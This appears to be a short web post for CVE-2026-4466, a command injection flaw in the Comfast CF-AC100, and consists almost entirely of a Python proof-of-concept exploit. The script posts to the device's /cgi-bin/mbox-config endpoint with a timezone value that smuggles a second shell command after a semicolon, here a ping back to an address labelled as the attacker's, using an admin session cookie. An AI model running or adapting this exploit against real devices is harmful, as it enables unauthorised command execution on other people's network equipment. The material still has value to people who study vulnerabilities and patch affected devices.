CVE-2026-4466 Comfast CF-AC100命令注入漏洞

import requests # Target URL configuration target_ip = "192.168.10.1" # Replace with actual target IP url = f"http://{target_ip}/cgi-bin/mbox-config" # The vulnerable endpoint is 'ntp_timezone' within the 'SET' method # Payload attempts to inject a command using a semicolon malicious_payload = "Asia/Shanghai; ping -c 4 192.168.1.100" # Example: ping back to attacker # Prepare the data payload data = { "method": "SET", "section": "ntp_timezone", "timezone": malicious_payload # Injection point } # Note: PR:H implies authentication is required. # You would need to provide a valid session cookie or token here. cookies = { "admin_session_id": "<VALID_COOKIE_OR_TOKEN>" } try: response = requests.post(url, data=data, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check for command execution effects.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")